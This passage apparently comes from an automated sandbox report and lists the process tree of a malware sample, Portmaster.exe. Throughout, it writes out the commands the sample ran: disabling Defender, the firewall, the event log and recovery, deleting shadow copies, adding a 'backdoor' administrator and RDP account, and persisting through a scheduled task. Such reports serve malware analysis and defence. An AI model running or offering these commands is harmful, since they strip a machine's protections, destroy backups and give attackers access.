      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:7136
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    PID:6968
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:7436
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
    3⤵
    PID:7544
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      System Location Discovery: System Language Discovery
      PID:6944
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reagentc /disable
    3⤵
    PID:6032
  - - C:\Windows\SysWOW64\ReAgentc.exe
      reagentc /disable
      4⤵
      Drops file in Windows directory
      PID:7692
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled
    3⤵
    PID:8264
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:7404
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled
    3⤵
    PID:5668
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config Schedule start= disabled
    3⤵
    PID:1328
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config EventLog start= disabled
    3⤵
    PID:8888
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add
    3⤵
    PID:9308
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" backdoor /add
    3⤵
    - Remote Service Session Hijacking: RDP Hijacking
    - System Location Discovery: System Language Discovery
    PID:9520
  - - C:\Windows\SysWOW64\net.exe
      net localgroup "Remote Desktop Users" backdoor /add
      4⤵
      Remote Service Session Hijacking: RDP Hijacking
      PID:9932
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup "Remote Desktop Users" backdoor /add
        5⤵
        Remote Service Session Hijacking: RDP Hijacking
        System Location Discovery: System Language Discovery
        
        PID:8404
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
    3⤵
    PID:9820
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
      4⤵
      PID:4484
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow
    3⤵
    PID:10276
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:10852
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 10852 -s 604
      4⤵
      Program crash
      PID:6900
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    - Drops startup file
    - Writes to the Master Boot Record (MBR)
    PID:7772
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      Drops startup file
      PID:6556
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      PID:6596
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      PID:11184
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      PID:9208
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 7772 -s 516
      4⤵
      Program crash
      PID:10944
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    - Drops startup file
    - Writes to the Master Boot Record (MBR)
    PID:1824
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:10548
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:4124
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:7784
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    - Writes to the Master Boot Record (MBR)
    PID:11060
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    - Drops startup file
    - Writes to the Master Boot Record (MBR)
    PID:436
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:10336
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:10540
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 436 -s 528
      4⤵
      Program crash
      PID:11184
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    - Drops startup file
    PID:7128
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      Writes to the Master Boot Record (MBR)
      Drops file in System32 directory
      PID:9856
    - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
        5⤵
        
        PID:2444
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        6⤵
        
        PID:9608
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      PID:8800
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        
        PID:3796
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        
        PID:10392
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 7128 -s 560
      4⤵
      Program crash
      PID:6344
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:6928
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:10464
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:10200
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:10176
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    - Writes to the Master Boot Record (MBR)
    PID:6152
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 6152 -s 564
      4⤵
      Program crash
      PID:6368
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 880 -s 700
    3⤵
    - Program crash
    PID:10512
- C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
  "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
  2⤵
  - Drops startup file
  PID:4700
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
    3⤵
    PID:1584
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:5784
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:4908
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:2320
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    PID:6476
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:5512
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    PID:2204
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:7096
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
    3⤵
    PID:7932
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:7448
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    PID:5228
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1472
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    PID:8784
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reagentc /disable
    3⤵
    PID:7692
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled
    3⤵
    PID:8236
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled
    3⤵
    PID:3004
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config Schedule start= disabled
    3⤵
    PID:4272
  - - C:\Windows\SysWOW64\sc.exe
      sc config Schedule start= disabled
      4⤵
      Launches sc.exe
      PID:8392
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config EventLog start= disabled
    3⤵
    PID:10096
  - - C:\Windows\SysWOW64\sc.exe
      sc config EventLog start= disabled
      4⤵
      Launches sc.exe
      PID:8772
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add
    3⤵
    PID:9720
  - - C:\Windows\SysWOW64\net.exe
      net user backdoor P@ssw0rd123! /add
      4⤵
      PID:10680
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net localgroup administrators backdoor /add
    3⤵
    PID:3368
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:6224
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    - Drops startup file
    PID:3808
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:7436
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:11140
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    - Drops startup file
    PID:9464
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      PID:9224
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:980
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      PID:7556
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      PID:6468
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      Writes to the Master Boot Record (MBR)
      PID:6048
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      PID:7308
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      Drops startup file
      PID:9288
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:6264
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:10004
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:9908
- C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
  "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
  2⤵
  - Writes to the Master Boot Record (MBR)
  PID:1352
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
    3⤵
    PID:3896
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4876
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:3688
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:5808
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    PID:6500
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:7148
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    PID:6776
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2220
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5348
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
    3⤵
    PID:9156
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:7516
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    PID:7632
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6204
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    PID:6276
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reagentc /disable
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5924
  - - C:\Windows\SysWOW64\ReAgentc.exe
      reagentc /disable
      4⤵
      Drops file in Windows directory
      PID:7224
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    - Writes to the Master Boot Record (MBR)
    PID:8452
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:7460
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3872
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7524
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:9488
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        
        PID:8368
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:3656
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        5⤵
        
        PID:10960
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      PID:4768
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
      4⤵
      PID:9628
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    - Drops startup file
    PID:7728
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:6480
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:8268
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      System Location Discovery: System Language Discovery
      PID:9300
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableRealtimeMonitoring $true
        5⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:5204
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1352 -s 652
    3⤵
    - Program crash
    PID:7288
- C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
  "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
  2⤵
  - Drops startup file
  - System Location Discovery: System Language Discovery
  PID:5572
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
    3⤵
    PID:5748
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1780
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:1044
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:6204
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    PID:6796
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:1620
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    PID:5072
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:7648
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
    3⤵
    PID:6600
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:5568
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    PID:5432
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
    3⤵
    PID:3496
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reagentc /disable
    3⤵
    PID:7700
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled
    3⤵
    PID:6928
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled
    3⤵
    PID:7416
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config Schedule start= disabled
    3⤵
    PID:2696
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:9020
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    - Writes to the Master Boot Record (MBR)
    PID:8688
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    - Drops startup file
    - Writes to the Master Boot Record (MBR)
    PID:6708
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      PID:4536
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:8304
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    - Drops file in System32 directory
    PID:5968
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
      4⤵
      PID:8404
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled
      4⤵
      PID:9480
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config wuauserv start= disabled
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:7488
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled
      4⤵
      System Location Discovery: System Language Discovery
      PID:224
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config WinDefend start= disabled
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:2940
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sc config Schedule start= disabled
      4⤵
      PID:9324
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config Schedule start= disabled
        5⤵
        Launches sc.exe
        
        PID:10500
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      PID:2804
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      Writes to the Master Boot Record (MBR)
      System Location Discovery: System Language Discovery
      PID:7280
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      Writes to the Master Boot Record (MBR)
      PID:9900
- C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
  "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
  2⤵
  - Drops startup file
  - Writes to the Master Boot Record (MBR)
  PID:3484
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
    3⤵
    PID:1100
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2976
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:2452
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:5876
- - C:\Windows\SysWOW64\cmd.exe
